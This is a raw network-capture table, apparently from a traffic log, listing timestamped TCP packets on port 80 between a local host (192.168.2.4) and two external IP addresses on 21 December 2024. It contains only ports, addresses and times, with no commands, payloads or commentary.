Dec 21, 2024 10:15:12.137921095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:12.137972116 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:12.138834000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:12.138885021 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:12.138978958 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:12.139030933 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:12.139930964 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:12.139987946 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:12.140002966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:12.140053988 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:12.140968084 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:12.141020060 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:12.141064882 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:12.141118050 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:12.142029047 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:12.142081022 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:12.142169952 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:12.142220974 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:12.143104076 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:12.143156052 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:12.143194914 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:12.143249035 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:12.144108057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:12.144160032 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:12.144243002 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:12.144290924 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:12.145190954 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:12.145215034 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:12.145250082 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:12.145250082 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:12.146249056 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:12.146302938 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:12.146387100 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:12.146436930 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:12.147319078 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:12.147372961 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:12.147413015 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:12.147461891 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:12.148338079 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:12.148389101 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:12.148435116 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:12.148483992 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:12.149391890 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:12.149446964 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:12.149533987 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:12.149585009 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:12.150501013 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:12.150552034 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:14.348932981 CET	49759	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:14.349369049 CET	49776	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:14.469245911 CET	80	49776	185.215.113.43	192.168.2.4
Dec 21, 2024 10:15:14.469283104 CET	80	49759	185.215.113.43	192.168.2.4
Dec 21, 2024 10:15:14.469336987 CET	49776	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:14.469360113 CET	49759	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:14.470592976 CET	49776	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:14.590095997 CET	80	49776	185.215.113.43	192.168.2.4
Dec 21, 2024 10:15:15.804933071 CET	80	49776	185.215.113.43	192.168.2.4
Dec 21, 2024 10:15:15.805020094 CET	49776	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:15.806386948 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:15.806678057 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:15.926634073 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:15.926728964 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:15.926896095 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:15.926927090 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:15.927026033 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:16.046890020 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.262609959 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.262655020 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.262690067 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.262690067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.262756109 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.262756109 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.262768030 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.262820959 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.262826920 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.262856007 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.262875080 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.262892962 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.262903929 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.262943029 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.263034105 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.263070107 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.263092995 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.263108969 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.263130903 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.263530970 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.382659912 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.382711887 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.382741928 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.382800102 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.386722088 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.386797905 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.454735041 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.454811096 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.454848051 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.455034971 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.458930016 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.458995104 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.459045887 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.459219933 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.467334032 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.467418909 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.470351934 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.470410109 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.470563889 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.470618010 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.478833914 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.478888035 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.478943110 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.487286091 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.487356901 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.487402916 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.487596035 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.495734930 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.495789051 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.495805979 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.495939016 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.504071951 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.504158974 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.504173040 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.504235983 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.512582064 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.512624025 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.512648106 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.512675047 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.520953894 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.521015882 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.521047115 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.521100998 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.528635979 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.528690100 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.528697968 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.528742075 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.536246061 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.536350012 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.536423922 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.574403048 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.574467897 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.646800041 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.646867990 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.646920919 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.647023916 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.649159908 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.649228096 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.649298906 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.649388075 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.654035091 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.654088020 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.654169083 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.654208899 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.658998013 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.659033060 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.659063101 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.659096003 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.663587093 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.663672924 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.663774014 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.663897038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.668327093 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.668380022 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.668462992 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.668521881 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.672955036 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.673067093 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.673121929 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.673185110 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.677434921 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.677506924 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.677588940 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.677644014 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.682053089 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.682111979 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.682158947 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.682219028 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.686568022 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.686650991 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.686707973 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.686861038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.691154003 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.691209078 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.691271067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.695619106 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.695677996 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.695761919 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.695820093 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.700192928 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.700253963 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.700367928 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.700423956 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.704869986 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.704905987 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.704962969 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.708379984 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.708434105 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.708447933 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.708488941 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.712055922 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.712119102 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.712369919 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.712436914 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.715691090 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.715751886 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.715867996 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.716010094 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.719377041 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.719439030 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.719480991 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.719533920 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.723050117 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.723107100 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.723165989 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.723220110 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.726670027 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.726733923 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.726818085 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.726949930 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.730281115 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.730340958 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.730428934 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.730489969 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.733897924 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.733954906 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.734019041 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.734075069 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.766635895 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.766673088 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.766707897 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.766777992 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.768390894 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.768424988 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.768481016 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.839076996 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.839153051 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.839200974 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.839200974 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.840428114 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.840548992 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.840554953 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.840610027 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.843328953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.843388081 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.843447924 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.843509912 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.846301079 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.846364021 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.846406937 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.846482038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.849075079 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.849138021 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.849210024 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.849267006 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.851815939 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.851933956 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.851938009 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.851990938 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.854609013 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.854674101 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.854799986 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.854857922 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.857271910 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.857333899 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.857486963 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.857547998 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.859968901 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.860004902 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.860027075 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.860058069 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.862409115 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.862442970 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.862479925 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.862513065 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.864937067 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.865015030 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.865026951 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.865097046 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.867454052 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.867522955 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.867568016 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.867621899 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.870029926 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.870111942 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.870140076 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.870213985 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.872522116 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.872591972 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.872668028 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.872781038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.875121117 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.875173092 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.875246048 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.877574921 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.877639055 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.877712011 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.877855062 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.880139112 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.880316973 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.880388975 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.882652998 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.882724047 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.882767916 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.885371923 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.885440111 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.885525942 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.886869907 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.887713909 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.887788057 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.887835026 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.887896061 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.890321970 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.890398026 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.890503883 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.890619040 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.892862082 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.892923117 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.893034935 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.893091917 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.894702911 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.894871950 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.894882917 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.894943953 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.896517038 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.896595001 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.896656990 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.896713972 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.898386002 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.898463964 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.898538113 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.898602009 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.900207996 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.900274038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.900357962 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.900432110 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.902053118 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.902112961 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.902229071 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.902285099 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.903908968 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.904028893 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.904038906 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.904100895 CET	49781	80	192.168.2.4	31.41.244.11
